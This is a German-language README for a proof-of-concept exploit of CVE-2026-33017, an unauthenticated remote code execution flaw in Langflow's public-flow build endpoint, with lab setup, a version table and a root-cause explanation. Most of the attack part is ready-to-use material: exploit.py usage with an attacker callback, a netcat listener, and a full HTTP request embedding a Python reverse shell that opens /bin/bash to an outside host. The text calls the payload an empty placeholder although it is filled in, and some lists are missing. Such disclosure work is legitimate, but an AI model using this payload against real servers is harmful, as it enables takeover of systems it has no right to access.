
Langflow RCE
★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Verwenden Sie die folgenden Befehle, um die verwundbare Langflow-Umgebung zu erstellen und auszuführen:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
Nach dem Start der verwundbaren Langflow-Instanz führen Sie den PoC mit der Ziel-URL, der Public-Flow-ID und der Callback-Adresse des Angreifers aus.
Option A — eigenen Listener verwenden:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Option B — den integrierten Listener mit --listen verwenden:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Option | Beschreibung |
|---|---|
--url | Ziel-URL des Langflow-Servers |
--flow-id | UUID des freigegebenen Public-Flows |
--lhost | Callback-IP des Angreifers |
--lport | Callback-Port des Angreifers |
--listen | Integrierten Listener statt eines externen nc verwenden |
CVE-2026-33017 ist eine Remote-Code-Execution-Schwachstelle (RCE) im Public-Flow-Build-Prozess von Langflow, einer Open-Source-Plattform zur visuellen Erstellung von LLM-Anwendungen und KI-Workflows.
Durch das Senden manipulierter Flow-Daten an denbuild_public_tmp-Endpunkt ohne Authentifizierung kann ein Angreifer erreichen, dass beliebiger Python-Code auf dem Server ausgeführt wird.
CVE-2026-33017 betrifft den folgenden Public-Flow-Build-Endpunkt in Langflow, einer Open-Source-Plattform zur visuellen Erstellung von LLM-Anwendungen und KI-Workflows.
POST /api/v1/build_public_tmp/{flow_id}/flow
Ein Public-Flow in Langflow ist dafür vorgesehen, über einen Link oder einen ähnlichen Mechanismus mit anderen Benutzern geteilt zu werden.
Um diese Funktion zu unterstützen, bereitet der Build-Endpunkt den Flow ohne Authentifizierung zur Ausführung vor, indem er die Knoten, Kanten und Einstellungen des Flows liest und anschließend den internen Ausführungsgraphen erstellt, der für die Ausführung benötigt wird.
Das Problem bestand darin, dass verwundbare Versionen von build_public_tmp nicht nur die auf dem Server gespeicherten Public-Flow-Informationen akzeptierten, sondern auch das im Request-Body übermittelte data-Feld.
Dieses data-Feld konnte die gesamte Flow-Definition enthalten, einschließlich:
Dadurch konnte ein Angreifer über eine nicht authentifizierte Anforderung eine vollständig vom Angreifer kontrollierte Flow-Struktur einschleusen, anstatt sich auf den legitimen, auf dem Server gespeicherten Public-Flow zu verlassen.
Ein besonders gefährlicher Teil dieses Designs ist die Custom-Component-Funktion.
In Langflow repräsentiert eine Komponente einen einzelnen funktionalen Baustein, der für Aufgaben wie Eingabeverarbeitung, Modellaufruf oder Ausgabeerzeugung zuständig ist. Eine Custom Component ist ein erweiterbarer Baustein, der es Benutzern ermöglicht, ihr Verhalten direkt in Python-Code zu definieren.
Ein Angreifer konnte daher eine Custom Component mit bösartigem Python-Code in das manipulierte data-Objekt einbetten, und der Server verarbeitete sie, als wäre sie ein normaler Bestandteil des Flows. Infolgedessen konnte der injizierte Code während des Build- oder Ausführungsprozesses geparst und ausgeführt werden, was letztendlich zu Remote Code Execution führte.
| Kategorie | Version |
|---|---|
| Verwundbar | Langflow vor 1.9.0 |
| Behoben | Langflow 1.9.0 und höher |
Das GitHub Security Advisory gibt den betroffenen Bereich als
<= 1.8.2an, aber der Fix — die Entfernung desdata-Parameters — wurde in 1.9.0 umgesetzt. Alle Versionen vor 1.9.0 (einschließlich 1.8.3 / 1.8.4) sind daher betroffen, weshalb der CVE Record< 1.9.0angibt.
Eine erfolgreiche Ausnutzung dieser Schwachstelle kann es einem Angreifer ermöglichen, die Kontrolle über den Langflow-Server zu übernehmen und Folgeaktionen durchzuführen, wie zum Beispiel:
Der folgende PoC demonstriert CVE-2026-33017 auf Langflow 1.8.1.
Der Angreifer ermittelt zunächst die flow_id eines Ziel-Public-Flows.

Der Angreifer sendet eine build_public_tmp-Anforderung, die eine Custom Component injiziert, deren Python-code während des temporären Builds auf dem Server ausgeführt wird. In der folgenden Anforderung ist der code-Wert als Platzhalter leer gelassen — fügen Sie das Payload selbst ein (siehe Hinweis unter der Anforderung).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Während des Build-Prozesses wird der in der Custom Component eingebettete Code auf dem Server ausgeführt. Bei Verwendung der Reverse-Shell-Variante (automatisiert durch exploit.py) wird eine Verbindung zum Listener des Angreifers aufgebaut, wodurch der Angreifer eine interaktive Shell erhält, um beliebige Befehle auf dem Server auszuführen.

Obwohl build_public_tmp dazu gedacht war, Public-Flows zu erstellen, akzeptierten verwundbare Versionen weiterhin ein data-Feld direkt aus dem Request-Body.
Aufgrund dieses Designs wurde das vom Angreifer gelieferte data direkt an die serverseitige Build-Logik übergeben, und jeder in einer Custom Component eingebettete Python-Code wurde behandelt, als wäre er Teil eines legitimen Flows.